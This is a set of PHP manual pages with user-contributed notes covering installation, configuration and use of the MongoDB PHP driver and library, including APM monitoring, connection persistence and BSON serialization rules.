As of Ubuntu 20.04, php-mongodb in the database is outdated and you'll need the PECL method to install latest version of MongoDB.

To do this in Ubuntu, you'll need the php-pear plugin and php-dev:
sudo apt install php-dev php-pear

then you can run:
sudo pecl install mongodb
asologor at gmail dot com 27-Jul-2017 08:48
On Ubuntu you can just do:

  sudo apt-get install php-mongodb

or the same for specific PHP version:

  sudo apt-get install php5.6-mongo

or

  sudo apt-get install php7.0-mongodb
Unmesh 12-Jul-2017 08:28
The following steps worked for me on Centos7

sudo yum install -y openssl-devel
sudo yum install pecl
sudo yum install gcc
sudo pecl install mongodb
maneesh dot singh at hof-university dot com 20-Feb-2017 11:20
Hi,
I am looking into installation of php mongo db driver.
I have checked with phpinfo it shows mongodb module have been loaded but when I use in my code it give error "Fatal error: Uncaught Error: Class 'MongoDB' not found "

i have another module for redis and it works perfectly . Initially I was getting same error but phpinfo was showing module is not loaded .

I guess there is some problem with driver. I have tried all the documents and website links which mention to include extenstion=mongodb.so which i have already done.

I am using open suse 42.2 leap with apache server.

Could you please investigate this issue.
If you need more info please let me know.

Thanks
Maneeshg
ovidius at email dot it 13-Feb-2017 11:11
after installed and added extension=mongodb to php.ini, when i run php -v i get this error:

bus error php -v

what could it be? the build process completed successfully.
rafael_xuvisco at yahoo dot com dot br 08-Nov-2016 01:16
Ubuntu 16.04

sudo apt-get install libcurl4-openssl-dev pkg-config libssl-dev libsslcommon2-dev

sudo pecl install mongodb

add extension=mongodb.so in fpm and cli:

sudo vim /etc/php/7.0/fpm/conf.d/30-mongodb.ini

sudo vim /etc/php/7.0/cli/conf.d/30-mongodb.ini

Restart service:

sudo systemctl restart php7.0-fpm

sudo systemctl reload nginx
Anonymous 24-Sep-2016 06:17
I got an error "fatal error: pcre.h: No such file or directory" and had to also had to install another dependency

sudo apt-get install libpcre3-dev
contact ? automatix : info 30-Jun-2016 11:28
An additional requirement might be pkg-config (on Ubuntu 14.04).

$ pecl install mongodb
...
configure: error: Cannot find OpenSSL's libraries
ERROR: `/tmp/pear/temp/mongodb/configure --with-php-config=/usr/bin/php-config' failed

But:

$ apt-get install pkg-config
...
Setting up pkg-config (0.26-1ubuntu4) ...
$ pecl install mongodb
...
Build process completed successfully
Installing '/usr/lib/php/20151012/mongodb.so'
install ok: channel://pecl.php.net/mongodb-1.1.7
configuration option "php_ini" is not set to php.ini location
You should add "extension=mongodb.so" to php.ini
Tim Greiser 18-Jun-2016 10:57
[Editor's note: fixed typo]

There are some additional requirements you need to build the pecl package.

sudo apt-get install libcurl4-openssl-dev pkg-config libssl-dev libsslcommon2-dev


Installing the MongoDB PHP Driver on macOS with Homebrew

» Homebrew 1.5.0 deprecated the » Homebrew/php tap and removed formulae for individual PHP extensions. Going forward, macOS users are advised to install the » php formula and follow the standard PECL installation instructions using the pecl command provided by the Homebrew PHP installation.

User Contributed Notes

Luiz Eduardo 18-Dec-2018 05:29
How to install on macOS Mojave

Start with:

sudo pecl install mongodb

To check if mongodb package is installed, look for "mongodb" when you run:

pecl list

To get your installed mongodb.so path, run:

pecl list-files mongodb | grep mongodb.so

then remove (or comment out) on your php.ini file:

extension="mongodb.so"

(I could not found a line with extension="php_mongodb.so")

now insert a line with:

extension="{{the path to your installed mongodb.so}}"

Run this command to get your ext-*.ini directory path:

php -i | grep Scan

Create your ext-mongodb.ini with:

touch {{your conf.d path}}/ext-mongodb.ini

like:
touch /usr/local/etc/php/7.1/conf.d/ext-mongodb.ini

Restart your apache to read the new configuration

Sanity check with:

php -i | grep mongodb

Your're ready to go.
lcalrissian at yahoo dot com 08-Apr-2018 09:21
The mongodb install has been removed from Homebrew. To install the mongodb extension you need to use pecl.

sudo pecl install mongodb

You may need to follow some additional configuration. Follow the inline instructions as they appear. Once the install is finished it will add two lines at the bottom of your php.ini file. Instead, remove these lines and add the and add a separate file to your conf.d directory in the same directory as you php.ini file.

In php.ini remove

extension="mongodb.so" // remove
extension="php_mongodb.so // remove

Then run:

$ touch /usr/local/etc/php/5.6/conf.d/ext-mongodb.ini

Finally add this line to the new file:

// example
extension="/usr/local/Cellar/php@5.6/5.6.35/pecl/20131226/mongodb.so"
okanck at gmail dot com 05-Apr-2018 07:57
All formulas in homebrew/php has been deleted or moved to homebrew/core.

To avoid installation problem in homebrew, you can use the command below:

brew tap kyslik/php
brew install phpXX-mongodb
tfe 04-Apr-2018 05:42
Then I try install

brew install php72-mongodb

I get error:

Error: No available formula with the name "php72-mongodb"
==> Searching for a previously deleted formula (in the last month)...
Error: No previously deleted formula found.
==> Searching for similarly named formulae...
==> Searching local taps...
Error: No similarly named formulae found.
==> Searching taps...
==> Searching taps on GitHub...
cristian dot carreno dot g at gmail dot com 23-Sep-2017 02:24
For OS Sierra 10.12.6

PHP 5.6

brew tap homebrew/php
brew install php56-mongodb
extension="/usr/local/opt/php56-mongodb/mongodb.so"
simon at programujem dot eu 12-Apr-2017 08:56
The mongodb extension is also available for PHP 7.1, you can install it using similar command:

brew install php71-mongodb
haxpor at gmail dot com 02-Mar-2017 02:29
No only just you install it via brew for correct version of php installed on your machine.

You have to set extension in php.ini too.

In case of macOS and php 5.6 installed.
I have to set

extension="/usr/local/opt/php56-mongo/mongo.so"

The correct path will show mongodb loaded on phpinfo.
amit dot clavax at gmail dot com 24-Nov-2016 06:06
Below command work for me mac sierra os
brew install php55-mongodb
givemeanthony at outlook dot com 03-Sep-2016 09:05
You must first tap the PHP formula repository from terminal like so

    brew tap homebrew/php

in order to install PHP extensions like MongoDB via Homebrew.
After tapping the formula repository, install the MongoDB extension

    brew install phpxx-mongodb

where xx is the version number.
avtrulzz at yahoo dot co dot in 03-Sep-2016 10:07
The correct command for installation is using homebrew is
brew install homebrew/php/phpxx-mongodb

For ex. to install the driver for php5.6 use :
brew install homebrew/php/php55-mongodb


Installing the MongoDB PHP Driver on Windows

Precompiled binaries are attached to the project's » Github releases. Archives are published for various combinations of PHP version, thread safety (TS or NTS), and architecture (x86 or x64). Determining the correct archive for the PHP environment and extract the php_mongodb.dll file to the extension directory ("ext" by default).

Add the following line to the php.ini file for each environment that will need to use the driver:

extension=php_mongodb.dll

Failure to select the correct binary will result in an error when attempting to load the extension DLL at runtime:

PHP Warning:  PHP Startup: Unable to load dynamic library 'mongodb'

Ensure that the downloaded DLL corresponds to the following PHP runtime properties:

  • PHP version (PHP_VERSION)
  • Thread safety (PHP_ZTS)
  • Architecture (PHP_INT_SIZE)

In addition to the aforementioned constants, these properties can also be inferred from phpinfo(). If a system has multiple PHP runtimes installed, double-check that the phpinfo() output is for the correct environment.

Note: Additional DLL dependencies for Windows Users

为了使此扩展生效， DLL 文件必须能在 Windows 系统的 PATH 指示的路径下找到。如何操作的信息，请参见题为"如何在 Windows 中将 PHP 目录加到 PATH 中"的FAQ。虽然将 DLL 文件从 PHP 文件夹复制到 Windows 系统目录也行，但不建议这样做。 此扩展需要下列文件在 PATH 路径中： libsasl.dll

User Contributed Notes

luchontandil3 at gmail dot com 26-May-2020 01:23
Try using:

extension=php_mongodb.dll

instead and restarting the xammp server for php
also download the correct .dll for your version of php

you can check your version of php with index.php and inside adding

<?php
phpinfo();
>
Xylon Reyes 12-Aug-2016 02:12
With the newer version of MongoDB, this should be...

extension=php_mongodb.dll

(the filename of the latest stable release at PECL)

Official MongoDB library are available at GitHub as well as its documentation.

Precompiled binaries are also available at GitHub for the legacy and the newer version.


Building the MongoDB PHP Driver from source

For driver developers and users interested in the latest bugfixes, the driver may be compiled from the latest source code on » Github. Run the following commands to clone and build the project:

$ git clone https://github.com/mongodb/mongo-php-driver.git
$ cd mongo-php-driver
$ git submodule update --init
$ phpize
$ ./configure
$ make all
$ sudo make install

On systems with multiple version of PHP installed (e.g. macOS default, Homebrew, » XAMPP), each version of PHP will have its own phpize command and php.ini file(s). Additionally, each PHP environments (e.g. CLI, web) may use separate php.ini files.

By default, the driver will use bundled versions of » libbson, » libmongoc, and » libmongocrypt and attempt to configure them automatically. If these libraries are already installed as system libraries, the driver can utilize them by specifying --with-mongodb-system-libs=yes as an option to configure.

For a complete list of configure options, run configure --help.

When using bundled versions of libmongoc and libmongocrypt, the driver will also attempt to select an SSL library according to the --with-mongodb-ssl configure option. As of driver version 1.17.0, OpenSSL is always preferred by default. Previously, Secure Transport was the default on macOS and OpenSSL was the default on all other platforms.

Note:

If the build process fails to find an SSL library, check that the development packages (e.g. libssl-dev) and » pkg-config are both installed.

When using Homebrew on macOS, it is common for a system to have multiple versions of OpenSSL installed. To ensure that the desired version of OpenSSL is selected, the PKG_CONFIG_PATH environment variable may be used to control the search path for pkg-config. If pkg-config is not used, configure also supports a --with-openssl-dir=DIR argument, which can be used to specify a manual search path (for OpenSSL only).

The final build step, make install, will report where mongodb.so has been installed, similar to:

Installing shared extensions:     /usr/lib/php/extensions/debug-non-zts-20220829/

Ensure that the extension_dir option in php.ini points to the directory where mongodb.so was installed. The option may be queried by running:

$ php -i | grep extension_dir
  extension_dir => /usr/lib/php/extensions/debug-non-zts-20220829 =>
                   /usr/lib/php/extensions/debug-non-zts-20220829

If the directories differ, either change extension_dir in php.ini or manually move mongodb.so to the correct directory.

Finally, add the following line to the php.ini file for each environment that will need to use the driver:

extension=mongodb.so

User Contributed Notes

Anisur Rahman (anisur2805 at gmail dot com) 04-Sep-2020 08:00
After installing mongodb, in terminal there are couple of error ex.

PHP Warning:  PHP Startup: Unable to load dynamic library 'mongodb.so' (tried: C:\xampp\php\ext\mongodb.so (The specified module could not be found.), C:\xampp\php\ext\php_mongodb.so.dll (The specified module could not be found.)) in Unknown on line 0

Warning: PHP Startup: Unable to load dynamic library 'mongodb.so' (tried: C:\xampp\php\ext\mongodb.so (The specified module could not be found.), C:\xampp\php\ext\php_mongodb.so.dll (The specified module could not be found.)) in Unknown on line 0

https://prnt.sc/ubr5mq

Solution:
1. If you include mongodb extension in php.ini file first remove that
2. Goto your php path inside Xampp and create an file called mongodb.ini and pest this below line, see ss - https://prnt.sc/ubr7ii
code extension=mongodb.so

This solution works in windows 10, php 7.4 version
chatocoral at gmail dot com 18-Oct-2017 06:54
You think this is to complicated? You use Ubuntu 14 or 16? use this:

sudo apt-get install php-mongodb

This installs everything you need to use MongoDB inside PHP.

Don't stop using MongoDB, is the best that will happen to you.

You're Welcome.
fgm at osinet dot fr 10-Aug-2016 09:27
a) If your git version is not recent enough, as can happen e.g. on Ubuntu 12.04 LTS, git submodule --init won't exist
In that case use:

    git submodule init
    git submodule update

b) make install does not create a mongodb.conf configuration file to support the debian/ubuntu PHP versions phpenmod/phpdismod commands. To have them work:

- do not add the extension=mongodb.so line to php.ini
- add it to a mongodb.ini file in the PHP mods-available directory
- the commands will then work for this extension

c) if you have multiple versions of PHP on a system such as b), the phpenmod/phpdismod commands may fail if the extension is not built for the default PHP CLI version. To have it be enabled for a specific version, use the -v argument, like

    phpenmod -v php7.1 mongodb


运行时配置

这些函数的行为受 php.ini 中的设置影响。

mongodb 配置选项
名字 | 默认 | 可修改范围 | 更新日志
mongodb.debug | "" | PHP_INI_ALL |

这是配置指令的简短说明。

mongodb.debug string

This option can be used to enable or disable trace-level debug logging in the driver (and libmongoc).

Specify an empty string, "0", "off", "no", or "false" to disable logging.

Specify "stderr" or "stdout" to log to stderr or stdout, respectively.

Specify "1", "on", "yes", or "true" to log to a new temporary file within the default system temp directory (i.e. sys_get_temp_dir()).

Specify any other string to log to a new temporary file within that directory. If the directory cannot be used, the default system temp directory will be used instead.

Note:

Please note that the debug log can contain sensitive information, such as credentials to the MongoDB server and full documents written to or read from the server. Please review any debug logs before sharing them with other people.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

MONGODB_VERSION (string)
x.y.z style version number of the extension
MONGODB_STABILITY (string)
Current stability (alpha/beta/stable)

User Contributed Notes

There are no user contributed notes for this page.


Tutorials

In this section you will find several tutorials on how to use the MongoDB driver for PHP.

  • Using the PHP Library for MongoDB (PHPLIB)
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Using the PHP Library for MongoDB (PHPLIB)

After the initial driver set-up, we will continue explaining how to get started with the MongoDB driver and corresponding userland library to write our first project.

Installing the PHP Library with Composer

The last thing we still need to install to get started on the application itself, is the PHP library.

The library needs to be installed with » Composer, a package manager for PHP. Instructions for installing Composer on various platforms may be found on its website.

Install the library by running:

$ composer require mongodb/mongodb

It will output something akin to:

./composer.json has been created
Loading composer repositories with package information
Updating dependencies (including require-dev)
  - Installing mongodb/mongodb (1.0.0)
    Downloading: 100%

Writing lock file
Generating autoload files

Composer will create several files: composer.json, composer.lock, and a vendor directory that will contain the library and any other dependencies your project might require.

Using the PHP Library

In addition to managing your dependencies, Composer will also provide you with an autoloader (for those dependencies' classes). Ensure that it is included at the start of your script or in your application's bootstrap code:

<?php
// This path should point to Composer's autoloader
require 'vendor/autoload.php';

With this done, you can now use any of the functionality as described in the » library documentation.

If you have used MongoDB drivers in other languages, the library's API should look familiar. It contains a » Client class for connecting to MongoDB, a » Database class for database-level operations (e.g. commands, collection management), and a » Collection class for collection-level operations (e.g. » CRUD methods, index management).

As an example, this is how you insert a document into the beers collection of the demo database:

<?php
require 'vendor/autoload.php'; // include Composer's autoloader

$client = new MongoDB\Client("mongodb://localhost:27017");
$collection = $client->demo->beers;

$result = $collection->insertOne( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );

echo "Inserted with Object ID '{$result->getInsertedId()}'";
?>

Since the inserted document did not contain an _id field, the driver will generate an MongoDB\BSON\ObjectId for the server to use as the _id. This value is also made available to the caller via the result object returned by the insertOne method.

After insertion, you can query for the data that you have just inserted. For that, you use the find method, which returns an iterable cursor:

<?php
require 'vendor/autoload.php'; // include Composer's autoloader

$client = new MongoDB\Client("mongodb://localhost:27017");
$collection = $client->demo->beers;

$result = $collection->find( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );

foreach ($result as $entry) {
echo $entry['_id'], ': ', $entry['name'], "\n";
}
?>

While it may not be apparent in the examples, BSON documents and arrays are unserialized as type classes in the library by default. These classes ensure that values preserve their type when being serialized back into BSON, which avoids a caveat in the old driver where arrays might turn into documents, and vice versa. Additionally, these type classes extend ArrayObject for enhanced usability. You can find more information on how serialization and deserialization between PHP variables and BSON is handled by the driver and library by reading the Persisting Data specification.

User Contributed Notes

wpg 23-Oct-2019 05:40
If you have a number of JSON documents with nested elements such as 'responseId' below and you want to know how many documents have a responseId:
{"result":{"responseId":"xyz"}}
{"result":NULL}
{"result":{"responseId":"abc"}}

I was not having luck with the following format
<?php
// trying to get the count of documents where responseId is not equal to NULL (did not work for me)
$intCount = $collection->count(['result' => ['responseId' => ['$ne' => NULL]]]);
?>

Instead I needed to use a period between the JSON elements:
<?php
// get the count of documents where responseId is not equal to NULL
$intCount = $collection->count(['result.responseId' => ['$ne' => NULL]]);
?>
salos_12 at hotmail dot com 16-Aug-2019 07:16
When your database name contains a "-" (e.g. database-name) you need to use a string instead.

<?php

$client = new MongoDB\Client("mongodb://ip_address:port");
$collection = $client->{'database-name'}->collection;

?>
myname 30-Sep-2018 05:53
What folder we need to be in to run composer? I can't get it to work.
surajtiwari020 at gmail dot com 16-Mar-2018 05:03
Well most of the tutorials didn't explained well, So i hope this might help someone
Note: this is a part of my laravel project

//getting data from a collection
<?php

use MongoDB\Client as Mongo;

$user = "admin";
$pwd = 'password';

$mongo = new Mongo("mongodb://${user}:${pwd}@127.0.0.1:27017");
$collection = $mongo->db_name->collection;
$result = $collection->find()->toArray();

print_r($result);

?>
crystale dot darck at gmail dot com 15-May-2017 04:03
To test your connection string, you can do something like this:

<?php
$mongo = new MongoDB\Client('mongodb://my_server_does_not_exist_here:27017');
try
{
    $dbs = $mongo->listDatabases();
}
catch (MongoDB\Driver\Exception\ConnectionTimeoutException $e)
{
    // PHP cannot find a MongoDB server using the MongoDB connection string specified
    // do something here
}
?>
Basher 12-Aug-2016 04:10
Pecl MongoDB at time of writing can be installed (see phpinfo()) but composer will complain that it's not present.

$  composer require "mongodb/mongodb=^1.0.0"
...
Your requirements could not be resolved to an installable set of packages.

If you see this try

$ composer require "mongodb/mongodb=^1.0.0" --ignore-platform-reqs
Dc Shiman 23-Feb-2016 03:53
Do a text search on the collection with projection

$search['$text'] = ['$search' => "foo"];
$options["projection"] = ['score' => ['$meta' => "textScore"]];
$options["sort"] = ["score" => ['$meta' => "textScore"]];

$cursor = $collection->find($search, $options);


Application Performance Monitoring (APM)

The MongoDB driver contains an event subscriber API, which allows applications to monitor commands and internal activity pertaining to the » Server Discovery and Monitoring Specification. This tutorial will demonstrate command monitoring using the MongoDB\Driver\Monitoring\CommandSubscriber interface.

The MongoDB\Driver\Monitoring\CommandSubscriber interface defines three methods: commandStarted, commandSucceeded, and commandFailed. Each of these three methods accept a single event argument of a specific class for the respective event. For example, the commandSucceeded's $event argument is a MongoDB\Driver\Monitoring\CommandSucceededEvent object.

In this tutorial we will implement a subscriber that creates a list of all the query profiles and the average time they took.

Subscriber Class Scaffolding

We start with the framework for our subscriber:

<?php

class QueryTimeCollector implements \MongoDB\Driver\Monitoring\CommandSubscriber
{
public function commandStarted( \MongoDB\Driver\Monitoring\CommandStartedEvent $event ): void
{
}

public function commandSucceeded( \MongoDB\Driver\Monitoring\CommandSucceededEvent $event ): void
{
}

public function commandFailed( \MongoDB\Driver\Monitoring\CommandFailedEvent $event ): void
{
}
}

?>

Registering the Subscriber

Once a subscriber object is instantiated, it needs to be registered with the driver's monitoring system. This is done by calling MongoDB\Driver\Monitoring\addSubscriber() or MongoDB\Driver\Manager::addSubscriber() to register the subscriber globally or with a specific Manager, respectively.

<?php

\MongoDB\Driver\Monitoring\addSubscriber( new QueryTimeCollector() );

?>

Implementing the Logic

With the object registered, the only thing left is to implement the logic in the subscriber class. To correlate the two events that make up a successfully executed command (commandStarted and commandSucceeded), each event object exposes a requestId field.

To record the average time per query shape, we will start by checking for a find command in the commandStarted event. We will then add an item to the pendingCommands property indexed by its requestId and with its value representing the query shape.

If we receive a corresponding commandSucceeded event with the same requestId, we add the duration of the event (from durationMicros) to the total time and increment the operation count.

If a corresponding commandFailed event is encountered, we just remove the entry from the pendingCommands property.

<?php

class QueryTimeCollector implements \MongoDB\Driver\Monitoring\CommandSubscriber
{
private $pendingCommands = [];
private $queryShapeStats = [];

/* Creates a query shape out of the filter argument. Right now it only
* takes the top level fields into account */
private function createQueryShape( array $filter )
{
return json_encode( array_keys( $filter ) );
}

public function commandStarted( \MongoDB\Driver\Monitoring\CommandStartedEvent $event ): void
{
if ( array_key_exists( 'find', (array) $event->getCommand() ) )
{
$queryShape = $this->createQueryShape( (array) $event->getCommand()->filter );
$this->pendingCommands[$event->getRequestId()] = $queryShape;
}
}

public function commandSucceeded( \MongoDB\Driver\Monitoring\CommandSucceededEvent $event ): void
{
$requestId = $event->getRequestId();
if ( array_key_exists( $requestId, $this->pendingCommands ) )
{
$this->queryShapeStats[$this->pendingCommands[$requestId]]['count']++;
$this->queryShapeStats[$this->pendingCommands[$requestId]]['duration'] += $event->getDurationMicros();
unset( $this->pendingCommands[$requestId] );
}
}

public function commandFailed( \MongoDB\Driver\Monitoring\CommandFailedEvent $event ): void
{
if ( array_key_exists( $event->getRequestId(), $this->pendingCommands ) )
{
unset( $this->pendingCommands[$event->getRequestId()] );
}
}

public function __destruct()
{
foreach( $this->queryShapeStats as $shape => $stats )
{
echo "Shape: ", $shape, " (", $stats['count'], ")\n ",
$stats['duration'] / $stats['count'], "μs\n\n";
}
}
}

$m = new \MongoDB\Driver\Manager( 'mongodb://localhost:27016' );

/* Add the subscriber */
\MongoDB\Driver\Monitoring\addSubscriber( new QueryTimeCollector() );

/* Do a bunch of queries */
$query = new \MongoDB\Driver\Query( [
'region_slug' => 'scotland-highlands', 'age' => [ '$gte' => 20 ]
] );
$cursor = $m->executeQuery( 'dramio.whisky', $query );

$query = new \MongoDB\Driver\Query( [
'region_slug' => 'scotland-lowlands', 'age' => [ '$gte' => 15 ]
] );
$cursor = $m->executeQuery( 'dramio.whisky', $query );

$query = new \MongoDB\Driver\Query( [ 'region_slug' => 'scotland-lowlands' ] );
$cursor = $m->executeQuery( 'dramio.whisky', $query );

?>

User Contributed Notes

There are no user contributed notes for this page.


Explains the driver architecture, and special features

  • Architecture — Architecture Overview
  • Connections — Connection handling and persistence
  • Persisting Data — Serialization and deserialization of PHP variables into MongoDB
    • Serialization to BSON
    • Deserialization from BSON

User Contributed Notes

There are no user contributed notes for this page.


Architecture Overview

This article explains how all the different components of the PHP driver fit together, from base system libraries, through the extension, and to the PHP libraries on top.

At the top of this stack sits a » PHP library, which is distributed as a » Composer package. This library provides an API consistent with other MongoDB » drivers and implements various cross-driver » specifications. While the extension can be used directly, the library has minimal overhead and should be a common dependency for most applications built with MongoDB.

Sitting below that library is a PHP extension, which is distributed through » PECL. The extension forms the glue between PHP and our system libraries (» libmongoc, » libbson, and » libmongocrypt). Its public API provides only the most essential functionality:

  • Connection management
  • BSON encoding and decoding
  • Object document serialization (to support ODM libraries)
  • Executing commands, queries, and write operations
  • Handling cursors for command and query results

Driver Source Code and JIRA Projects
Project | GitHub | JIRA
PHP Library | » mongodb/mongo-php-library | » PHPLIB
PHP Extension | » mongodb/mongo-php-driver | » PHPC

User Contributed Notes

There are no user contributed notes for this page.


Connection handling and persistence

Note: On Unix platforms, the MongoDB driver is sensitive to scripts that use the fork() system call without also calling exec(). Users are advised not to re-use MongoDB\Driver\Manager instances in a forked child process.

Connection and topology persistence (PHP version since 1.2.0)

All versions of the driver since 1.2.0 persist the » libmongoc client object in the PHP worker process, which allows it to re-use database connections, authentication states, and topology information across multiple requests.

When MongoDB\Driver\Manager::__construct() is invoked, a hash is created from its arguments (i.e. URI string and array options). The driver will attempt to find a previously persisted » libmongoc client object for that hash. If an existing client cannot be found for the hash, a new client will be created and persisted for future use. This behavior can be disabled via the "disableClientPersistence" driver option.

Each client contains its own database connections and a view of the server topology (e.g. standalone, replica set, shard cluster). By persisting the client between PHP requests, the driver is able to re-use established database connections and remove the need for » discovering the server topology on each request.

Consider the following example:

<?php

$managers = [
new MongoDB\Driver\Manager('mongodb://127.0.0.1'),
new MongoDB\Driver\Manager('mongodb://127.0.0.1'),
new MongoDB\Driver\Manager('mongodb://127.0.0.1:27017'),
new MongoDB\Driver\Manager('mongodb://rs1.example.com,rs2.example.com/', ['replicaSet' => 'myReplicaSet']),
];

foreach ($managers as $manager) {
$manager->executeCommand('test', new MongoDB\Driver\Command(['ping' => 1]));
}

?>

The first two Manager objects will share the same » libmongoc client since their constructor arguments are identical. The third and fourth objects will each use their own client. In total, three clients will be created and the PHP worker executing this script will open two connections to 127.0.0.1 and one connection to each of rs1.example.com and rs2.example.com. If the driver discovers additional members of the replica set after issuing hello commands, it will open additional connections to those servers as well.

If the same worker executes the script again in a second request, the three clients will be re-used and no new connections will be made. Depending on how long ago the previous request was served, the driver may need to issue additional hello commands to update its view of the topologies.

Socket persistence (PHP versions before 1.2.0)

Versions of the PHP driver before 1.2.0 utilize PHP's Streams API for database connections, using an API within » libmongoc to designate custom handlers for socket communication; however, a new libmongoc client is created for each MongoDB\Driver\Manager. As a result, the driver persists individual database connections but not authentication state or topology information. This means that the driver needs to issue commands at the start of each request to authenticate and » discover the server topology.

Database connections are persisted by a hash derived from the server's host, port, and the URI string used to construct the MongoDB\Driver\Manager. The constructor's array options are not included in this hash.

Note: Versions of the driver >= 1.1.8 and < 1.2.0 do not persist sockets for SSL connections. See » PHPC-720 for additional information.

Despite its shortcomings with persisting SSL connections when and topology information, this version of the driver supports all SSL context options since it uses PHP's Streams API.

User Contributed Notes

There are no user contributed notes for this page.


Serialization and deserialization of PHP variables into MongoDB

Table of Contents

  • Serialization to BSON
  • Deserialization from BSON

This document discusses the methods how compound structures (documents, arrays, objects) are persisted through the drivers. And how they are brought back into PHP land.

User Contributed Notes

There are no user contributed notes for this page.


Serialization to BSON

Arrays

If an array is a packed array — i.e. empty array or the keys start at 0 and are sequential without gaps: BSON array.

If the array is not packed — i.e. having associative (string) keys, the keys don't start at 0, or when there are gaps:: BSON object

A top-level (root) document, always serializes as a BSON document.

Examples

These serialize as a BSON array:

[ 8, 5, 2, 3 ] => [ 8, 5, 2, 3 ]
[ 0 => 4, 1 => 9 ] => [ 4, 9 ]

These serialize as a BSON document:

[ 0 => 1, 2 => 8, 3 => 12 ] => { "0" : 1, "2" : 8, "3" : 12 }
[ "foo" => 42 ] => { "foo" : 42 }
[ 1 => 9, 0 => 10 ] => { "1" : 9, "0" : 10 }

Note that the five examples are extracts of a full document, and represent only one value inside a document.

Objects

If an object is of the stdClass class, serialize as a BSON document.

If an object is a supported class that implements MongoDB\BSON\Type, then use the BSON serialization logic for that specific type. MongoDB\BSON\Type instances (excluding MongoDB\BSON\Serializable may only be serialized as a document field value. Attempting to serialize such an object as a root document will throw a MongoDB\Driver\Exception\UnexpectedValueException

If an object is of an unknown class implementing the MongoDB\BSON\Type interface, then throw a MongoDB\Driver\Exception\UnexpectedValueException

If an object is of any other class, without implementing any special interface, serialize as a BSON document. Keep only public properties, and ignore protected and private properties.

If an object is of a class that implements the MongoDB\BSON\Serializable interface, call MongoDB\BSON\Serializable::bsonSerialize() and use the returned array or stdClass to serialize as a BSON document or array. The BSON type will be determined by the following:

  1. Root documents must be serialized as a BSON document.

  2. MongoDB\BSON\Persistable objects must be serialized as a BSON document.

  3. If MongoDB\BSON\Serializable::bsonSerialize() returns a packed array, serialize as a BSON array.

  4. If MongoDB\BSON\Serializable::bsonSerialize() returns a non-packed array or stdClass, serialize as a BSON document.

  5. If MongoDB\BSON\Serializable::bsonSerialize() did not return an array or stdClass, throw an MongoDB\Driver\Exception\UnexpectedValueException exception.

If an object is of a class that implements the MongoDB\BSON\Persistable interface (which implies MongoDB\BSON\Serializable), obtain the properties in a similar way as in the previous paragraphs, but also add an additional property __pclass as a Binary value, with subtype 0x80 and data bearing the fully qualified class name of the object that is being serialized.

The __pclass property is added to the array or object returned by MongoDB\BSON\Serializable::bsonSerialize(), which means it will overwrite any __pclass key/property in the MongoDB\BSON\Serializable::bsonSerialize() return value. If you want to avoid this behaviour and set your own __pclass value, you must not implement MongoDB\BSON\Persistable and should instead implement MongoDB\BSON\Serializable directly.

Examples

<?php

class stdClass {
public $foo = 42;
} // => { "foo" : 42 }

class MyClass {
public $foo = 42;
protected $prot = "wine";
private $fpr = "cheese";
} // => { "foo" : 42 }

class AnotherClass1 implements MongoDB\BSON\Serializable {
public $foo = 42;
protected $prot = "wine";
private $fpr = "cheese";
function bsonSerialize(): array {
return [ 'foo' => $this->foo, 'prot' => $this->prot ];
}
} // => { "foo" : 42, "prot" : "wine" }

class AnotherClass2 implements MongoDB\BSON\Serializable {
public $foo = 42;
function bsonSerialize(): self {
return $this;
}
} // => MongoDB\Driver\Exception\UnexpectedValueException("bsonSerialize() did not return an array or stdClass")

class AnotherClass3 implements MongoDB\BSON\Serializable {
private $elements = [ 'foo', 'bar' ];
function bsonSerialize(): array {
return $this->elements;
}
} // => { "0" : "foo", "1" : "bar" }

class ContainerClass implements MongoDB\BSON\Serializable {
public $things = AnotherClass4 implements MongoDB\BSON\Serializable {
private $elements = [ 0 => 'foo', 2 => 'bar' ];
function bsonSerialize(): array {
return $this->elements;
}
}
function bsonSerialize(): array {
return [ 'things' => $this->things ];
}
} // => { "things" : { "0" : "foo", "2" : "bar" } }

class ContainerClass implements MongoDB\BSON\Serializable {
public $things = AnotherClass5 implements MongoDB\BSON\Serializable {
private $elements = [ 0 => 'foo', 2 => 'bar' ];
function bsonSerialize(): array {
return array_values($this->elements);
}
}
function bsonSerialize(): array {
return [ 'things' => $this->things ];
}
} // => { "things" : [ "foo", "bar" ] }

class ContainerClass implements MongoDB\BSON\Serializable {
public $things = AnotherClass6 implements MongoDB\BSON\Serializable {
private $elements = [ 'foo', 'bar' ];
function bsonSerialize(): array {
return (object) $this->elements;
}
}
function bsonSerialize(): array {
return [ 'things' => $this->things ];
}
} // => { "things" : { "0" : "foo", "1" : "bar" } }

class UpperClass implements MongoDB\BSON\Persistable {
public $foo = 42;
protected $prot = "wine";
private $fpr = "cheese";
function bsonSerialize(): array {
return [ 'foo' => $this->foo, 'prot' => $this->prot ];
}
} // => { "foo" : 42, "prot" : "wine", "__pclass" : { "$type" : "80", "$binary" : "VXBwZXJDbGFzcw==" } }

User Contributed Notes

There are no user contributed notes for this page.


Deserialization from BSON

Warning

BSON documents can technically contain duplicate keys because documents are stored as a list of key-value pairs; however, applications should refrain from generating documents with duplicate keys as server and driver behavior may be undefined. Since PHP objects and arrays cannot have duplicate keys, data could also be lost when decoding a BSON document with duplicate keys.

The legacy mongo extension deserialized both BSON documents and arrays as PHP arrays. While PHP arrays are convenient to work with, this behavior was problematic because different BSON types could deserialize to the same PHP value (e.g. {"0": "foo"} and ["foo"]) and make it impossible to infer the original BSON type. By default, the current driver addresses this concern by ensuring that BSON arrays and documents are converted to PHP arrays and objects, respectively.

For compound types, there are three data types:

root

refers to the top-level BSON document only

document

refers to embedded BSON documents only

array

refers to a BSON array

Besides the three collective types, it is also possible to configure specific fields in your document to map to the data types mentioned below. As an example, the following type map allows you to map each embedded document within an "addresses" array to an Address class and each "city" field within those embedded address documents to a City class:

[
    'fieldPaths' => [
        'addresses.$' => 'MyProject\Address',
        'addresses.$.city' => 'MyProject\City',
    ],
]

Each of those three data types, as well as the field specific mappings, can be mapped against different PHP types. The possible mapping values are:

not set or NULL (default)

  • A BSON array will be deserialized as a PHP array.

  • A BSON document (root or embedded) without a __pclass property [1] becomes a PHP stdClass object, with each BSON document key set as a public stdClass property.

  • A BSON document (root or embedded) with a __pclass property [1] becomes a PHP object of the class name as defined by the __pclass property.

